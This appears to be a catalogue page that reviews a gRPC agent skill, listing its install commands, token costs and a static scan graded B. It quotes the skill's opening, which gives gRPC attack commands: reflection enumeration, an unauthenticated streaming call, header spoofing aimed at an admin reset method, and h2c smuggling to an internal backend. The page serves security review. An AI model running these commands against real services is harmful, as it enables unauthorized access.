Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill grpcgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/grpc)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/grpc"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/grpc/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/grpc"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/grpc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.01070 |
| Opus 5 | $0.00026 | $0.00535 |
| Sonnet 5 | $0.00010 | $0.00214 |
| Haiku 4.5 | $0.00005 | $0.00107 |
Grade B, and why
grpc scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc' This is a copy
95% identical to api-grpc — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 110 lines — stays where its author put it; the contents beside it link to each section on GitHub.
gRPC API Attack Surface
Discovery
# 1. Detect: HTTP/2 + content-type application/grpc[+proto|+json]
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc'
# 2. List services via server reflection (often left on in prod)
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list mypackage.MyService
grpcurl -plaintext target:50051 describe mypackage.MyService.Method
# 3. If reflection disabled, grab .proto from:
# - Sourcemap of a gRPC-Web client app
# - JS bundle: `grep -ro "name: \"\\([A-Z][A-Za-z]*Service\\)" *.js`
# - Mobile app (apktool + jadx → search for FileDescriptorProto)
Attack patterns
Missing authz on streaming RPCs
Many implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:
grpcurl -plaintext -H "authorization: bearer" target:50051 \
mypackage.MyService/StreamEvents
# Sometimes returns events without proper auth check
Protobuf field-number reuse / unknown-field exfil
Send a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via UnknownField handling.
echo '{"id": 1, "1000000": "hidden field"}' | \
grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get
Metadata header injection
gRPC headers (metadata) often map directly to HTTP/2 headers in the proxy layer:
grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \
-H "authorization: bearer $TOKEN" target:50051 mypackage.AdminService/Reset
h2c smuggling — gRPC fronted by Envoy/nginx
HTTP/2 cleartext upgrade can be smuggled past h1/h2 boundary:
# Use h2csmuggler.py against an Envoy fronting a gRPC backend
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051
mTLS bypass via SNI mismatch
If the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 110 lines · 52 tokens per session scan B f1905ea67e98
grpc is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 52 tokens to every session and 1,070 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). It is 95% identical to api-grpc, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.